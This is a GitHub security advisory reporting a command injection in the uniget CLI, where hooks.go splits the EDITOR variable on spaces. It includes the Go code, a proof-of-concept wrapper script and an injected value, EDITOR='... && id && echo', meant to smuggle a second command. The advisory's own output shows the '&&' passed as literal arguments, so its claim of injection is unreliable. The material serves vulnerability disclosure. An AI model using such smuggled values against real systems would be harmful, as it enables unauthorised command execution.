GHSA-qmcq-xw74-w667

Summary

The uniget CLI has a command injection vulnerability in hooks.go line 199 where strings.Split(editor, " ") naively parses the EDITOR environment variable without respecting shell syntax. An attacker can set EDITOR="/path/to/wrapper && id && echo" which gets split into separate arguments, allowing the wrapper script to execute arbitrary commands like id. This was successfully exploited to execute uid=1000(w4nn4d13), confirming code execution is possible. The vulnerability affects hook editing and breaks configurations with modern editors like VSCode.

Vulnerable Code:

editorWithArgs := strings.Split(editor, " ")

Location Context:

editor := os.Getenv("UNIGET_EDITOR")
if len(editor) == 0 {
    editor = os.Getenv("EDITOR")
}
editorWithArgs := strings.Split(editor, " ")  // ← VULNERABLE
command := exec.Command(editorWithArgs[0], editorWithArgs[1:]...)

Issue: Naive space-splitting allows injection. EDITOR="script && id && echo" splits into ["script", "&&", "id", "&&", "echo"] enabling command execution.

Step to Reproduce

**Step 1: **Create malicious editor wrapper

mkdir -p /tmp/poc-editor
cat > /tmp/poc-editor/editor_wrapper.sh << 'EOF'
#!/bin/bash
echo "[EDITOR] Received args: $@"
id
EOF
chmod +x /tmp/poc-editor/editor_wrapper.sh

**Step 2: **Create test hook

mkdir -p ~/.config/uniget/hooks/pre-install
cat > ~/.config/uniget/hooks/pre-install/test.sh << 'EOF'
#!/bin/bash
echo "Test hook"
EOF
chmod 700 ~/.config/uniget/hooks/pre-install/test.sh

Step 3: Set injection payload

export EDITOR="/tmp/poc-editor/editor_wrapper.sh && id && echo"

Step 4: Run vulnerable code

cd /home/w4nn4d13/Downloads/cli
go build -o uniget ./cmd/uniget
./uniget hooks edit --type=pre-install test.sh

Step 5: Observe output

[EDITOR] Received args: && id && echo /path/to/hook
uid=1000(w4nn4d13) gid=1000(w4nn4d13) groups=1000(w4nn4d13),65534(nfsnobody)

<img width="1017" height="449" alt="image" src="https://github.com/user-attachments/assets/9c72ea0c-fa08-46cd-a9cb-098942a488ce" />